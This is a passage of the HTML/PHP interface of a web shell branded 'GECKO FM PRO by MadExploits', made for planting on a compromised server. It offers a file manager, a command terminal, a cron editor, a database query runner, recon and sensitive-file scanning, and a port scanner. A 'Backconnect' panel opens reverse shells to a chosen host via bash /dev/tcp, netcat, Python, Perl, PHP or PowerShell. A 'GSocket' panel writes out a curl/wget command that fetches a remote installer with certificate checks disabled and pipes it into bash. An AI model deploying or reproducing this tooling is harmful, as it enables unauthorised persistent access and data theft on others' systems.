    gap: 0;
  }
  .logo-text { display: none }

  /* Compact table — hide non-essential columns */
  .tbl-head, .frow { grid-template-columns: 36px 1fr 100px 86px }
  .tbl-head > *:nth-child(n+5),
  .frow > *:nth-child(n+5) { display: none }
}

@media (max-width: 640px) {
  .topbar { padding: 0 12px; gap: 10px }
  .search-wrap { max-width: none }
  .kbd-hint { display: none }
  .topbar-right { gap: 6px }
  .btn-term span, .btn-term { padding-left: 10px; padding-right: 10px }
  .btn-term { font-size: 0; gap: 0; padding: 8px }
  .btn-term svg { width: 16px; height: 16px }

  /* Compact table — show only checkbox + name + size */
  .tbl-head, .frow { grid-template-columns: 36px 1fr 80px }
  .tbl-head > *:nth-child(n+4),
  .frow > *:nth-child(n+4) { display: none }

  /* Status bar simplified */
  .statusbar { gap: 12px; padding: 0 12px; font-size: 10.5px }
  #stClock, #stDisk { display: none }

  /* Action bar tighter */
  .actionbar { padding: 8px 12px; gap: 6px }
  .breadcrumb { padding: 4px 6px; min-height: 36px }
  .bc-btn { padding: 3px 7px; font-size: 11.5px }

  /* Modals: full width with slight padding */
  .overlay { padding: 12px }
  .modal-head { padding: 12px 14px }
  .modal-body { padding: 14px }
  .modal-foot { padding: 11px 14px }
}

@media (max-width: 420px) {
  .topbar { padding: 0 8px }
  .search-wrap input { padding: 9px 12px 9px 34px }
  .view-pills { display: none }
  .btn-burger { width: 36px; height: 36px }
}
</style>
</head>
<body>
<div class="bg-mesh" aria-hidden="true"></div>
<div class="shell">

<header class="topbar">
  <button class="btn-burger" id="btnBurger" aria-label="Toggle menu" aria-controls="sidebar" aria-expanded="false">
    <svg viewBox="0 0 24 24"><path d="M3 6.5A1.5 1.5 0 0 1 4.5 5h15a1.5 1.5 0 0 1 0 3h-15A1.5 1.5 0 0 1 3 6.5Zm0 5.5A1.5 1.5 0 0 1 4.5 10.5h15a1.5 1.5 0 0 1 0 3h-15A1.5 1.5 0 0 1 3 12Zm1.5 4A1.5 1.5 0 0 0 3 17.5 1.5 1.5 0 0 0 4.5 19h15a1.5 1.5 0 0 0 0-3h-15Z"/></svg>
  </button>

  <div class="logo">
    <div class="logo-icon" aria-hidden="true">
      <svg viewBox="0 0 24 24" stroke-width="2.6" stroke-linecap="round" stroke-linejoin="round">
        <path d="M5 8l4 4-4 4"/>
        <path d="M12 16h7"/>
      </svg>
    </div>
    <div class="logo-text">
      <div class="logo-name">GECKO FM <em>PRO</em></div>
      <div class="logo-sub">by <b>MadExploits</b></div>
    </div>
  </div>

  <div class="search-wrap">
    <svg class="search-ico" viewBox="0 0 16 16"><path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"/></svg>
    <input type="search" id="searchInput" placeholder="Search files…" autocomplete="off">
    <div class="kbd-hint"><kbd>Ctrl</kbd><kbd>K</kbd></div>
    <div class="sr-list" id="srList"></div>
  </div>

  <div class="topbar-right">
    <div class="view-pills">
      <button class="view-pill" id="btnList" title="List view">
        <svg viewBox="0 0 16 16"><path d="M2 2.75A.75.75 0 0 1 2.75 2h10.5a.75.75 0 0 1 0 1.5H2.75A.75.75 0 0 1 2 2.75Zm0 5A.75.75 0 0 1 2.75 7h10.5a.75.75 0 0 1 0 1.5H2.75A.75.75 0 0 1 2 7.75ZM2.75 12h10.5a.75.75 0 0 1 0 1.5H2.75a.75.75 0 0 1 0-1.5Z"/></svg>
      </button>
      <button class="view-pill" id="btnGrid" title="Grid view">
        <svg viewBox="0 0 16 16"><path d="M1 2.75A1.75 1.75 0 0 1 2.75 1h2.5A1.75 1.75 0 0 1 7 2.75v2.5A1.75 1.75 0 0 1 5.25 7h-2.5A1.75 1.75 0 0 1 1 5.25Zm8.75-1.75A1.75 1.75 0 0 0 8 2.75v2.5A1.75 1.75 0 0 0 9.75 7h2.5A1.75 1.75 0 0 0 14 5.25v-2.5A1.75 1.75 0 0 0 12.25 1ZM1 9.75A1.75 1.75 0 0 1 2.75 8h2.5A1.75 1.75 0 0 1 7 9.75v2.5A1.75 1.75 0 0 1 5.25 14h-2.5A1.75 1.75 0 0 1 1 12.25Zm8.75-1.75A1.75 1.75 0 0 0 8 9.75v2.5A1.75 1.75 0 0 0 9.75 14h2.5A1.75 1.75 0 0 0 14 12.25v-2.5A1.75 1.75 0 0 0 12.25 8Z"/></svg>
      </button>
    </div>
    <button class="btn btn-ghost btn-icon" id="btnRefresh" title="Refresh (F5)">
      <svg viewBox="0 0 16 16"><path d="M1.705 8.005a.75.75 0 0 1 .834.656 5.5 5.5 0 0 0 9.592 2.745l-1.067-1.067A.25.25 0 0 1 11.5 10.25H16v4.5a.25.25 0 0 1-.427.177l-1.068-1.068a7.002 7.002 0 0 1-11.772-3.603.75.75 0 0 1 .672-.751ZM.75 8.005a.75.75 0 0 1 1.072-.696 7.002 7.002 0 0 1 11.772 3.603.75.75 0 0 1-.672.751 5.502 5.502 0 0 0-9.592-2.745L3.545 11.64A.25.25 0 0 1 3.118 12H0V7.5a.25.25 0 0 1 .427-.177l1.068 1.068A6.999 6.999 0 0 1 .75 8.005Z"/></svg>
    </button>
    <button class="btn btn-term" id="btnTerm">
      <svg viewBox="0 0 16 16"><path d="M0 2.75C0 1.784.784 1 1.75 1h12.5c.966 0 1.75.784 1.75 1.75v10.5A1.75 1.75 0 0 1 14.25 15H1.75A1.75 1.75 0 0 1 0 13.25Zm1.75-.25a.25.25 0 0 0-.25.25v10.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V2.75a.25.25 0 0 0-.25-.25ZM7.25 8.5l-2.5 2.5a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L5.94 8 3.215 5.059A.749.749 0 0 1 4.49 4.49L7.25 7.25v1.25Zm1.5 1.5h3a.75.75 0 0 1 0 1.5h-3a.75.75 0 0 1 0-1.5Z"/></svg>
      Terminal
    </button>
  </div>
</header>

<div class="body">

  <div class="sb-backdrop" id="sbBackdrop" aria-hidden="true"></div>

  <aside class="sidebar" id="sidebar">
   <div class="sb-scroll">
    <div class="sidebar-top">
      <div class="sidebar-label">
        <svg viewBox="0 0 24 24"><path d="M12 5v14M5 12h14"/></svg>
        Files
      </div>
      <button class="sb-btn" id="sbNewFile">
        <span class="sb-ico"><svg viewBox="0 0 24 24"><path d="M14 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V8z"/><path d="M14 2v6h6"/><path d="M12 18v-6M9 15h6"/></svg></span>
        New File
        <span class="sb-arrow">›</span>
      </button>
      <button class="sb-btn" id="sbNewFolder">
        <span class="sb-ico"><svg viewBox="0 0 24 24"><path d="M3 5a2 2 0 0 1 2-2h4l2 3h7a2 2 0 0 1 2 2v9a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z"/><path d="M12 12v4M10 14h4"/></svg></span>
        New Folder
        <span class="sb-arrow">›</span>
      </button>
      <button class="sb-btn" id="sbUpload">
        <span class="sb-ico"><svg viewBox="0 0 24 24"><path d="M21 15v4a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2v-4"/><path d="M17 8l-5-5-5 5"/><path d="M12 3v12"/></svg></span>
        Upload Files
        <span class="sb-arrow">›</span>
      </button>
      <button class="sb-btn danger" id="sbDelSel" aria-disabled="true">
        <span class="sb-ico"><svg viewBox="0 0 24 24"><path d="M3 6h18"/><path d="M19 6v14a2 2 0 0 1-2 2H7a2 2 0 0 1-2-2V6m3 0V4a2 2 0 0 1 2-2h4a2 2 0 0 1 2 2v2"/><path d="M10 11v6M14 11v6"/></svg></span>
        Delete Selected
        <span class="sb-arrow">›</span>
      </button>
    </div>

    <div class="sidebar-divider"></div>

    <div class="sidebar-top" style="padding-top:8px">
      <div class="sidebar-label">
        <svg viewBox="0 0 24 24"><circle cx="12" cy="12" r="9"/><path d="M3 12h18M12 3a14 14 0 0 1 0 18M12 3a14 14 0 0 0 0 18"/></svg>
        Tools
      </div>
      <button class="sb-btn" id="sbRefresh">
        <span class="sb-ico"><svg viewBox="0 0 24 24"><path d="M3 12a9 9 0 0 1 15.18-6.36L21 8"/><path d="M21 3v5h-5"/><path d="M21 12a9 9 0 0 1-15.18 6.36L3 16"/><path d="M3 21v-5h5"/></svg></span>
        Refresh
        <span class="sb-arrow">›</span>
      </button>
      <button class="sb-btn" id="sbTerm">
        <span class="sb-ico"><svg viewBox="0 0 24 24"><rect x="2" y="4" width="20" height="16" rx="2"/><path d="M6 9l3 3-3 3M12 15h6"/></svg></span>
        Terminal
        <span class="sb-arrow">›</span>
      </button>
      <button class="sb-btn" id="sbCron">
        <span class="sb-ico"><svg viewBox="0 0 24 24"><circle cx="12" cy="12" r="9"/><path d="M12 7v5l3 2"/></svg></span>
        Cron Manager
        <span class="sb-arrow">›</span>
      </button>
      <button class="sb-btn" id="sbBackconnect">
        <span class="sb-ico"><svg viewBox="0 0 24 24"><path d="M9 14L4 9l5-5"/><path d="M4 9h10a5 5 0 0 1 5 5v1"/></svg></span>
        Backconnect
        <span class="sb-arrow">›</span>
      </button>
      <button class="sb-btn" id="sbGsocket">
        <span class="sb-ico"><svg viewBox="0 0 24 24"><path d="M12 2L2 7l10 5 10-5-10-5z"/><path d="M2 17l10 5 10-5M2 12l10 5 10-5"/></svg></span>
        GSocket
        <span class="sb-arrow">›</span>
      </button>
      <button class="sb-btn" id="sbPortScan">
        <span class="sb-ico"><svg viewBox="0 0 24 24"><rect x="2" y="4" width="20" height="16" rx="2"/><path d="M7 8h4M7 12h10M7 16h7"/></svg></span>
        Port Scanner
        <span class="sb-arrow">›</span>
      </button>
      <button class="sb-btn" id="sbAdminer">
        <span class="sb-ico"><svg viewBox="0 0 24 24"><ellipse cx="12" cy="5" rx="8" ry="3"/><path d="M4 5v14c0 1.66 3.58 3 8 3s8-1.34 8-3V5"/><path d="M4 12c0 1.66 3.58 3 8 3s8-1.34 8-3"/></svg></span>
        Adminer (DB)
        <span class="sb-arrow">›</span>
      </button>
    </div>

    <div class="sidebar-divider"></div>

    <div class="sidebar-top" style="padding-top:8px">
      <div class="sidebar-label">
        <svg viewBox="0 0 24 24"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/></svg>
        Cyber Security
      </div>
      <button class="sb-btn" id="sbSecHub">
        <span class="sb-ico"><svg viewBox="0 0 24 24"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/><path d="M9 12l2 2 4-4"/></svg></span>
        Security Hub
        <span class="sb-arrow">›</span>
      </button>
      <button class="sb-btn" id="sbSecRecon">
        <span class="sb-ico"><svg viewBox="0 0 24 24"><circle cx="11" cy="11" r="7"/><path d="M21 21l-4.35-4.35"/></svg></span>
        System Recon
        <span class="sb-arrow">›</span>
      </button>
      <button class="sb-btn" id="sbSecSensitive">
        <span class="sb-ico"><svg viewBox="0 0 24 24"><path d="M14 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V8z"/><path d="M14 2v6h6"/><path d="M12 11v6M9 14h6"/></svg></span>
        Sensitive Scanner
        <span class="sb-arrow">›</span>
      </button>
      <button class="sb-btn" id="sbSecHttp">
        <span class="sb-ico"><svg viewBox="0 0 24 24"><circle cx="12" cy="12" r="9"/><path d="M2 12h20M12 2a15 15 0 0 1 0 20M12 2a15 15 0 0 0 0 20"/></svg></span>
        HTTP Client
        <span class="sb-arrow">›</span>
      </button>
    </div>

    <div class="sidebar-divider"></div>

    <div class="sidebar-top" style="padding-top:8px">
      <div class="sidebar-label">
        <svg viewBox="0 0 24 24"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/><path d="M12 8v4M12 16h.01"/></svg>
        Blue Team
      </div>
      <button class="sb-btn" id="sbBlueHub">
        <span class="sb-ico"><svg viewBox="0 0 24 24"><path d="M12 3l7 4v5c0 5-3.5 8.5-7 9-3.5-.5-7-4-7-9V7l7-4z"/><path d="M9 12l2 2 4-4"/></svg></span>
        Blue Team Hub
        <span class="sb-arrow">›</span>
      </button>
      <button class="sb-btn" id="sbBlueBackdoor">
        <span class="sb-ico"><svg viewBox="0 0 24 24"><path d="M12 2a4 4 0 0 1 4 4c0 1.5-.8 2.8-2 3.5V12h3a3 3 0 0 1 3 3v1H7v-1a3 3 0 0 1 3-3h3V9.5A4 4 0 0 1 12 2z"/><path d="M9 19h6"/></svg></span>
        Backdoor Scanner
        <span class="sb-arrow">›</span>
      </button>
      <button class="sb-btn" id="sbBlueAudit">
        <span class="sb-ico"><svg viewBox="0 0 24 24"><path d="M9 11l3 3L22 4"/><path d="M21 12v7a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2h11"/></svg></span>
        Full Security Audit
        <span class="sb-arrow">›</span>
      </button>
    </div>

   </div><!-- /.sb-scroll -->

   <div class="sb-foot">
    <div class="drive-box" id="driveBox">
      <div class="disk-label">Path Navigation</div>
      <select id="driveSelect">
        <option value="">— Select Path —</option>
      </select>
    </div>

    <div class="disk-box" id="diskBox">
      <div class="disk-label">Storage</div>
      <div class="disk-track"><div class="disk-fill" id="diskFill" style="width:0%"></div></div>
      <div class="disk-meta"><span id="diskUsed">—</span><span id="diskPct">—</span></div>
    </div>

    <div class="sidebar-sys" id="sysInfo"><strong>Environment</strong>Loading…</div>
   </div>
  </aside>

  <main class="main">
    <div class="actionbar">
      <nav class="breadcrumb" id="breadcrumb"></nav>
      <button class="btn btn-ghost btn-icon" id="btnUp" title="Go up" style="visibility:hidden">
        <svg viewBox="0 0 16 16"><path d="m7.78 12.53-4.25-4.25a.749.749 0 0 1 0-1.061l4.25-4.25a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L4.811 7.25h7.939a.75.75 0 0 1 0 1.5H4.811l2.829 2.829a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215Z"/></svg>
      </button>
      <button class="btn btn-primary btn-sm" onclick="showCreate('file')">
        <svg viewBox="0 0 16 16"><path d="M7.75 2a.75.75 0 0 1 .75.75V7h4.25a.75.75 0 0 1 0 1.5H8.5v4.25a.75.75 0 0 1-1.5 0V8.5H2.75a.75.75 0 0 1 0-1.5H7V2.75A.75.75 0 0 1 7.75 2Z"/></svg>
        New
      </button>
    </div>

    <div class="panel" id="panel">
      <div class="empty" id="loading">
        <div class="empty-ico"><svg class="spin" viewBox="0 0 16 16"><path d="M8 0a8 8 0 0 1 8 8h-1.5A6.5 6.5 0 0 0 8 1.5V0Z" fill="currentColor"/></svg></div>
        <h3>Loading workspace…</h3>
        <p>Fetching your files</p>
      </div>
    </div>

    <div class="statusbar" id="statusbar">
      <div class="pulse-dot"></div>
      <span id="stItems">—</span>
      <span id="stDisk">—</span>
      <span id="stClock">—</span>
      <span class="st-right" id="stPath">—</span>
    </div>
  </main>
</div></div><div class="overlay" id="mCreate">
  <div class="modal m-sm">
    <div class="modal-head"><h2 id="createTitle">New File</h2><button class="btn btn-ghost btn-icon mc">✕</button></div>
    <div class="modal-body">
      <div class="fg"><label>Name</label><input type="text" id="createName" placeholder="filename.ext"></div>
      <div class="fg hidden" id="createContentWrap"><label>Initial content (optional)</label><textarea id="createContent" rows="4"></textarea></div>
    </div>
    <div class="modal-foot"><button class="btn mc">Cancel</button><button class="btn btn-primary" id="createOk">Create</button></div>
  </div>
</div>

<div class="overlay" id="mRename">
  <div class="modal m-sm">
    <div class="modal-head"><h2>Rename</h2><button class="btn btn-ghost btn-icon mc">✕</button></div>
    <div class="modal-body"><div class="fg"><label>New name</label><input type="text" id="renameInput"></div></div>
    <div class="modal-foot"><button class="btn mc">Cancel</button><button class="btn btn-primary" id="renameOk">Rename</button></div>
  </div>
</div>

<div class="overlay" id="mChmod">
  <div class="modal m-sm">
    <div class="modal-head"><h2>Permissions (Chmod)</h2><button class="btn btn-ghost btn-icon mc">✕</button></div>
    <div class="modal-body">
      <div class="fg">
        <label>Izin Oktal (contoh: 0755, 0644)</label>
        <input type="text" id="chmodInput" placeholder="0644" maxlength="4">
      </div>
    </div>
    <div class="modal-foot"><button class="btn mc">Cancel</button><button class="btn btn-primary" id="chmodOk">Apply</button></div>
  </div>
</div>

<div class="overlay" id="mDelete">
  <div class="modal m-sm">
    <div class="modal-head"><h2>Delete</h2><button class="btn btn-ghost btn-icon mc">✕</button></div>
    <div class="modal-body"><p id="deleteMsg" style="color:var(--tx2);font-size:14px;line-height:1.6"></p></div>
    <div class="modal-foot"><button class="btn mc">Cancel</button><button class="btn btn-danger" id="deleteOk">Delete</button></div>
  </div>
</div>

<div class="overlay" id="mUpload">
  <div class="modal m-md">
    <div class="modal-head"><h2>Upload Files</h2><button class="btn btn-ghost btn-icon mc">✕</button></div>
    <div class="modal-body">
      <div class="dropzone" id="dropzone">
        <svg viewBox="0 0 16 16"><path d="M2.75 14A1.75 1.75 0 0 1 1 12.25v-2.5a.75.75 0 0 1 1.5 0v2.5c0 .138.112.25.25.25h10.5a.25.25 0 0 0 .25-.25v-2.5a.75.75 0 0 1 1.5 0v2.5A1.75 1.75 0 0 1 14.25 14H2.75Z"/><path d="M7.25 7.567V1.75a.75.75 0 0 1 1.5 0v5.817l1.78-1.347a.75.75 0 1 1 1.042 1.078l-3.25 3.25a.75.75 0 0 1-1.06 0L3.53 7.28a.75.75 0 0 1 1.06-1.06l2.66 2.347Z"/></svg>
        <p>Drag &amp; drop files here or <strong>click to browse</strong></p>
        <p style="font-size:11px;margin-top:6px;color:var(--tx4)">Uploads to current folder</p>
        <p style="font-size:10px;margin-top:4px;color:var(--tx4)">Max file size: <?php echo ini_get('upload_max_filesize'); ?></p>
      </div>
      <input type="file" id="fileInput" multiple class="hidden">
    </div>
  </div>
</div>

<div class="overlay" id="mEditor">
  <div class="modal m-full">
    <div class="modal-head">
      <h2 id="edTitle">Edit File</h2>
      <span class="path-tag" id="edPath"></span>
      <button class="btn btn-ghost btn-icon mc">✕</button>
    </div>
    <div class="modal-body" style="padding:0;display:flex;flex-direction:column">
      <div class="editor-wrap">
        <div class="line-nums" id="lineNums"></div>
        <div class="ed-area" id="edArea">
          <pre class="ed-highlight" id="edHighlight" aria-hidden="true"></pre>
          <textarea id="edText" spellcheck="false" autocomplete="off" autocorrect="off" autocapitalize="off"></textarea>
        </div>
      </div>
    </div>
    <div class="modal-foot">
      <span class="left" id="edMeta"></span>
      <button class="btn mc">Cancel</button>
      <button class="btn btn-primary" id="edSave">
        <svg viewBox="0 0 16 16"><path d="M2.75 1A1.75 1.75 0 0 0 1 2.75v10.5c0 .966.784 1.75 1.75 1.75h10.5A1.75 1.75 0 0 0 15 13.25V2.75A1.75 1.75 0 0 0 13.25 1H2.75ZM3.5 6.25V2.5h4.75v3.75H3.5Zm9 7.25H3.5V9.5h9v4Z"/></svg>
        Save
      </button>
    </div>
  </div>
</div>

<div class="overlay" id="mImagePreview">
  <div class="modal m-lg">
    <div class="modal-head">
      <h2 id="ipTitle">Preview</h2>
      <span class="path-tag" id="ipPath"></span>
      <div class="ip-tabs" role="tablist">
        <button class="ip-tab active" data-tab="image" type="button">Image</button>
        <button class="ip-tab" data-tab="text" type="button">Text</button>
      </div>
      <button class="btn btn-ghost btn-icon mc">✕</button>
    </div>
    <div class="modal-body" style="padding:14px">
      <div class="ip-pane ip-image" id="ipImagePane">
        <img id="ipImg" alt="">
        <div class="img-info" id="ipImgInfo"></div>
      </div>
      <div class="ip-pane ip-text hidden" id="ipTextPane">
        <pre id="ipTextContent">Loading…</pre>
      </div>
    </div>
    <div class="modal-foot">
      <span class="left" id="ipMeta"></span>
      <button class="btn mc">Close</button>
      <a class="btn btn-primary" id="ipDownload" download>
        <svg viewBox="0 0 16 16"><path d="M2.75 14A1.75 1.75 0 0 1 1 12.25v-2.5a.75.75 0 0 1 1.5 0v2.5c0 .138.112.25.25.25h10.5a.25.25 0 0 0 .25-.25v-2.5a.75.75 0 0 1 1.5 0v2.5A1.75 1.75 0 0 1 14.25 14H2.75Z"/><path d="M7.25 7.567V1.75a.75.75 0 0 1 1.5 0v5.817l1.78-1.347a.75.75 0 1 1 1.042 1.078l-3.25 3.25a.75.75 0 0 1-1.06 0L3.53 7.28a.75.75 0 0 1 1.06-1.06l2.66 2.347Z"/></svg>
        Download
      </a>
    </div>
  </div>
</div>

<div class="overlay term-modal" id="mTerm">
  <div class="modal m-lg" style="height:78vh">
    <div class="modal-head">
      <h2>Terminal</h2>
      <span class="path-tag" id="termPathTag">root</span>
      <button class="btn btn-ghost btn-icon mc">✕</button>
    </div>
    <div class="modal-body">
      <div class="term-top">
        <div class="term-dots" aria-hidden="true"><i></i><i></i><i></i></div>
        <div class="term-title-area">
          <div class="term-title">
            <svg class="term-title-icon" viewBox="0 0 24 24" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><path d="M5 8l4 4-4 4"/><path d="M12 16h7"/></svg>
            Gecko Shell
          </div>
          <div class="term-cwd" id="termCwd">~</div>
        </div>
        <div class="term-actions">
          <span class="term-stats" id="termStats" title="Commands executed"><b id="termCount">0</b><span>cmds</span></span>
          <button class="term-btn" id="termCopy" title="Copy all output">
            <svg viewBox="0 0 16 16"><path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"/><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"/></svg>
          </button>
          <button class="term-btn" id="termClear" title="Clear (Ctrl+L)">
            <svg viewBox="0 0 16 16"><path d="M11 1.75V3h2.25a.75.75 0 0 1 0 1.5H2.75a.75.75 0 0 1 0-1.5H5V1.75C5 .784 5.784 0 6.75 0h2.5C10.216 0 11 .784 11 1.75ZM4.496 6.675l.66 6.6a.25.25 0 0 0 .249.225h5.19a.25.25 0 0 0 .249-.225l.66-6.6a.75.75 0 0 1 1.492.149l-.66 6.6A1.75 1.75 0 0 1 10.595 15h-5.19a1.75 1.75 0 0 1-1.741-1.575l-.66-6.6a.75.75 0 1 1 1.492-.15ZM6.5 1.75V3h3V1.75a.25.25 0 0 0-.25-.25h-2.5a.25.25 0 0 0-.25.25Z"/></svg>
          </button>
        </div>
      </div>
      <div class="term-out" id="termOut"></div>
      <div class="term-in-row">
        <div class="term-prompt-area">
          <span class="term-prompt-user">gecko</span><span class="term-prompt-at">@</span><span class="term-prompt-host">shell</span><span class="term-prompt-colon">:</span><span class="term-prompt-cwd" id="termPromptCwd">~</span>
          <span class="term-prompt-mark">❯</span>
        </div>
        <input type="text" id="termIn" placeholder="Type a command…" autocomplete="off" spellcheck="false">
        <div class="term-spinner" id="termSpinner" aria-hidden="true"></div>
        <div class="term-hint">
          <span><span class="kbd">↑↓</span>history</span>
          <span><span class="kbd">⏎</span>run</span>
        </div>
      </div>
    </div>
  </div>
</div>

<div class="overlay" id="mCron">
  <div class="modal m-lg">
    <div class="modal-head"><h2>⏰ Cron Manager</h2><button class="btn btn-ghost btn-icon mc">✕</button></div>
    <div class="modal-body">
      <p class="tool-note" id="cronPlatformNote">Loading crontab…</p>
      <div class="fg"><label>Crontab entries</label><textarea id="cronContent" rows="14" spellcheck="false" placeholder="* * * * * /usr/bin/php /path/to/script.php"></textarea></div>
    </div>
    <div class="modal-foot">
      <button class="btn mc">Close</button>
      <button class="btn btn-ghost" id="cronReload">Reload</button>
      <button class="btn btn-primary" id="cronSave">Save Crontab</button>
    </div>
  </div>
</div>

<div class="overlay" id="mBackconnect">
  <div class="modal m-md">
    <div class="modal-head"><h2>🔗 Backconnect</h2><button class="btn btn-ghost btn-icon mc">✕</button></div>
    <div class="modal-body">
      <div class="tool-grid">
        <div class="fg"><label>Your IP / Host</label><input type="text" id="bcIp" placeholder="192.168.1.100"></div>
        <div class="fg"><label>Port</label><input type="number" id="bcPort" value="4444" min="1" max="65535"></div>
        <div class="fg span2"><label>Method</label>
          <select id="bcMethod">
            <option value="bash">Bash (/dev/tcp)</option>
            <option value="nc">Netcat (nc)</option>
            <option value="python">Python</option>
            <option value="perl">Perl</option>
            <option value="php">PHP</option>
            <option value="powershell">PowerShell (Windows)</option>
          </select>
        </div>
      </div>
      <p class="tool-note">Start listener first: <code>nc -lvnp PORT</code> or <code>rlwrap nc -lvnp PORT</code></p>
      <div class="tool-output empty" id="bcOutput">Ready — connection runs in background.</div>
    </div>
    <div class="modal-foot">
      <button class="btn mc">Close</button>
      <button class="btn btn-primary" id="bcStart">Start Backconnect</button>
    </div>
  </div>
</div>

<div class="overlay" id="mGsocket">
  <div class="modal m-lg">
    <div class="modal-head"><h2>⚡ GSocket</h2><button class="btn btn-ghost btn-icon mc">✕</button></div>
    <div class="modal-body">
      <div class="tool-grid">
        <div class="fg span2"><label>Download method</label>
          <select id="gsMethod">
            <option value="curl">curl — GS_NOCERTCHECK=1 bash -c "$(curl -fsSLk …)"</option>
            <option value="wget">wget — GS_NOCERTCHECK=1 bash -c "$(wget --no-check-certificate …)"</option>
          </select>
        </div>
      </div>
      <div class="tool-cmd" id="gsCmdPreview">GS_NOCERTCHECK=1 bash -c "$(curl -fsSLk https://gsocket.io/y)"</div>
      <p class="tool-note">Installer dari gsocket.io/y. Jika GSRN firewalled, otomatis retry <code>GS_PORT=22</code> s/d <code>67</code>.</p>
      <div class="tool-output tall empty" id="gsOutput">Klik Run untuk mengeksekusi installer GSocket.</div>
    </div>
    <div class="modal-foot">
      <span class="left" id="gsMeta">—</span>
      <button class="btn btn-ghost" id="gsCopy" title="Copy output">Copy Output</button>
      <button class="btn mc">Close</button>
      <button class="btn btn-primary" id="gsRun">Run GSocket</button>
    </div>
  </div>
</div>

<div class="overlay" id="mPortScan">
  <div class="modal m-lg">
    <div class="modal-head"><h2>🌐 Port Scanner</h2><button class="btn btn-ghost btn-icon mc">✕</button></div>
    <div class="modal-body">
      <div class="tool-grid">
        <div class="fg"><label>Target Host</label><input type="text" id="psHost" value="127.0.0.1" placeholder="127.0.0.1"></div>
        <div class="fg"><label>Ports</label><input type="text" id="psPorts" value="21,22,25,80,443,3306,8080" placeholder="22,80,443 or 1-1024"></div>
        <div class="fg"><label>Timeout (sec)</label><input type="number" id="psTimeout" value="1" min="1" max="5"></div>
      </div>
      <div class="tool-output empty" id="psOutput">Enter target and click Scan.</div>
      <div class="tool-tags" id="psTags"></div>
    </div>
    <div class="modal-foot">
      <button class="btn mc">Close</button>
      <button class="btn btn-primary" id="psScan">Scan Ports</button>
    </div>
  </div>
</div>

<div class="overlay" id="mAdminer">
  <div class="modal m-full">
    <div class="modal-head">
      <h2>🗄️ Adminer (DB Manager)</h2>
      <button class="btn btn-ghost btn-sm" id="dbOpenAdminer" title="Open full Adminer">Full Adminer ↗</button>
      <button class="btn btn-ghost btn-icon mc">✕</button>
    </div>
    <div class="modal-body">
      <div class="tool-grid">
        <div class="fg"><label>Type</label>
          <select id="dbType">
            <option value="mysql">MySQL</option>
            <option value="pgsql">PostgreSQL</option>
            <option value="sqlite">SQLite</option>
          </select>
        </div>
        <div class="fg"><label>Host</label><input type="text" id="dbHost" value="127.0.0.1"></div>
        <div class="fg"><label>Port</label><input type="number" id="dbPort" value="3306"></div>
        <div class="fg"><label>User</label><input type="text" id="dbUser" value="root"></div>
        <div class="fg"><label>Password</label><input type="password" id="dbPass" autocomplete="off"></div>
        <div class="fg"><label>Database</label><input type="text" id="dbName" placeholder="database name"></div>
      </div>
      <div class="db-tables" id="dbTables"></div>
      <div class="fg" style="margin-top:14px"><label>SQL Query</label><textarea id="dbSql" rows="5" spellcheck="false" placeholder="SELECT * FROM users LIMIT 10;"></textarea></div>
      <div id="dbResult"></div>
    </div>
    <div class="modal-foot">
      <span class="left" id="dbMeta">Built-in PDO query runner</span>
      <button class="btn btn-ghost" id="dbTablesBtn">List Tables</button>
      <button class="btn btn-primary" id="dbRun">Run Query</button>
    </div>
  </div>
</div>

<div class="overlay" id="mSecHub">
  <div class="modal m-full">
    <div class="modal-head">
      <h2>🛡️ Cyber Security Hub</h2>
      <button class="btn btn-ghost btn-sm" id="secPhpinfo" title="Open PHPInfo">PHPInfo ↗</button>
      <button class="btn btn-ghost btn-icon mc">✕</button>
    </div>
    <div class="modal-body" style="padding:0;display:flex;flex-direction:column">
      <div class="sec-tabs ip-tabs" role="tablist">
        <button class="ip-tab active" data-sec="recon" type="button">Recon</button>
        <button class="ip-tab" data-sec="sensitive" type="button">Sensitive</button>
        <button class="ip-tab" data-sec="processes" type="button">Processes</button>
        <button class="ip-tab" data-sec="network" type="button">Network</button>
        <button class="ip-tab" data-sec="http" type="button">HTTP</button>
        <button class="ip-tab" data-sec="hash" type="button">Hash</button>
        <button class="ip-tab" data-sec="codec" type="button">Codec</button>
        <button class="ip-tab" data-sec="dns" type="button">DNS</button>
        <button class="ip-tab" data-sec="suid" type="button">SUID/SGID</button>
      </div>
      <div style="padding:16px;overflow:auto;flex:1">

        <div class="sec-panel active" data-panel="recon">
          <div class="sec-actions">
            <button class="btn btn-primary btn-sm" id="secRunRecon">Run System Recon</button>
            <button class="btn btn-ghost btn-sm" id="secCopyRecon">Copy</button>
          </div>
